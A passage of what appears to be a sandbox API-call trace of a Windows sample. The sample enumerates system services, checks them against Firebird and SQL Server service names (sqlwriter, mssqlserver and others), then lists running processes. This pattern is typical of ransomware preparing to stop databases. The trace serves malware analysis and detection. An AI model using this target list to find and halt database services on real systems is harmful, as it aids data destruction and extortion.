(lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.123] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.123] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.123] lstrlenW (lpString="AudioSrv") returned 8 [0133.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0133.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0133.123] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0133.123] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0133.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0133.123] lstrlenW (lpString="BFE") returned 3 [0133.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.123] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.123] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.123] lstrlenW (lpString="CryptSvc") returned 8 [0133.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0133.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0133.123] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0133.123] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0133.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0133.123] lstrlenW (lpString="CscService") returned 10 [0133.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0133.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0133.123] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0133.123] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0133.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0133.123] lstrlenW (lpString="DcomLaunch") returned 10 [0133.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.124] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.124] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.124] lstrlenW (lpString="Dhcp") returned 4 [0133.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.124] lstrlenW (lpString="Dnscache") returned 8 [0133.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.124] lstrlenW (lpString="DPS") returned 3 [0133.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0133.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0133.124] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0133.124] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0133.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0133.124] lstrlenW (lpString="eventlog") returned 8 [0133.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0133.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0133.124] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0133.124] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0133.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0133.124] lstrlenW (lpString="EventSystem") returned 11 [0133.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.125] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.125] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.125] lstrlenW (lpString="FontCache") returned 9 [0133.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0133.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0133.125] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0133.125] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0133.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0133.125] lstrlenW (lpString="gpsvc") returned 5 [0133.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.125] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.125] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.125] lstrlenW (lpString="iphlpsvc") returned 8 [0133.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.125] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0133.125] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0133.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0133.125] lstrlenW (lpString="LanmanServer") returned 12 [0133.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0133.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0133.125] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0133.125] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0133.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0133.125] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.126] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.126] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.126] lstrlenW (lpString="lmhosts") returned 7 [0133.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.126] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.126] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.126] lstrlenW (lpString="MMCSS") returned 5 [0133.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0133.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0133.126] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0133.126] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0133.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0133.126] lstrlenW (lpString="MpsSvc") returned 6 [0133.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.126] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.126] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.126] lstrlenW (lpString="Netman") returned 6 [0133.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0133.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0133.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0133.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0133.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0133.126] lstrlenW (lpString="netprofm") returned 8 [0133.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0133.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0133.126] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0133.127] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0133.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0133.127] lstrlenW (lpString="NlaSvc") returned 6 [0133.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0133.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0133.127] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0133.127] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0133.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0133.127] lstrlenW (lpString="nsi") returned 3 [0133.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.127] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.127] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.127] lstrlenW (lpString="PcaSvc") returned 6 [0133.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0133.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0133.127] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0133.127] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0133.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0133.127] lstrlenW (lpString="PlugPlay") returned 8 [0133.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.127] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.127] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.127] lstrlenW (lpString="Power") returned 5 [0133.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.128] lstrlenW (lpString="ProfSvc") returned 7 [0133.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.128] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.128] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.128] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.128] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.128] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.128] lstrlenW (lpString="RpcSs") returned 5 [0133.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.128] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.128] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.128] lstrlenW (lpString="SamSs") returned 5 [0133.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.128] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.128] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.128] lstrlenW (lpString="Schedule") returned 8 [0133.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.129] lstrlenW (lpString="SENS") returned 4 [0133.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.129] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.129] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.129] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.129] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.129] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.129] lstrlenW (lpString="Spooler") returned 7 [0133.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.129] lstrlenW (lpString="sppsvc") returned 6 [0133.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0133.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0133.129] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0133.129] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0133.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0133.129] lstrlenW (lpString="swprv") returned 5 [0133.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0133.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0133.129] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0133.129] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0133.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0133.130] lstrlenW (lpString="SysMain") returned 7 [0133.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0133.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0133.130] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0133.130] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0133.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0133.130] lstrlenW (lpString="Themes") returned 6 [0133.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0133.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0133.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0133.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0133.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0133.130] lstrlenW (lpString="TrkWks") returned 6 [0133.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0133.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0133.130] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0133.130] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0133.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0133.130] lstrlenW (lpString="UxSms") returned 5 [0133.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0133.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0133.130] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0133.130] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0133.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0133.130] lstrlenW (lpString="VSS") returned 3 [0133.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0133.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0133.130] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0133.130] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0133.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0133.130] lstrlenW (lpString="W32Time") returned 7 [0133.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0133.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0133.131] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0133.131] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0133.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0133.131] lstrlenW (lpString="WdiServiceHost") returned 14 [0133.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0133.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0133.131] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0133.131] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0133.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0133.131] lstrlenW (lpString="WdiSystemHost") returned 13 [0133.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0133.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0133.131] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0133.131] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0133.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0133.131] lstrlenW (lpString="WinDefend") returned 9 [0133.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0133.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0133.131] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0133.131] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0133.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0133.131] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0133.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0133.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0133.131] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0133.131] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0133.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0133.131] lstrlenW (lpString="Winmgmt") returned 7 [0133.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0133.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0133.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0133.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0133.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0133.132] lstrlenW (lpString="wscsvc") returned 6 [0133.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0133.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0133.132] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0133.132] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0133.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0133.132] lstrlenW (lpString="wuauserv") returned 8 [0133.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0133.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0133.132] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0133.132] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0133.132] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0133.135] Process32FirstW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.136] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.137] lstrlenW (lpString="System") returned 6 [0133.137] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.138] lstrlenW (lpString="smss.exe") returned 8 [0133.138] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.139] lstrlenW (lpString="csrss.exe") returned 9 [0133.139] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.140] lstrlenW (lpString="wininit.exe") returned 11 [0133.140] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.141] lstrlenW (lpString="csrss.exe") returned 9 [0133.141] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.142] lstrlenW (lpString="winlogon.exe") returned 12 [0133.142] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.143] lstrlenW (lpString="services.exe") returned 12 [0133.143] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.144] lstrlenW (lpString="lsass.exe") returned 9 [0133.144] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0133.144] lstrlenW (lpString="lsm.exe") returned 7 [0133.145] Process32NextW (in: hSnapshot=0x204, 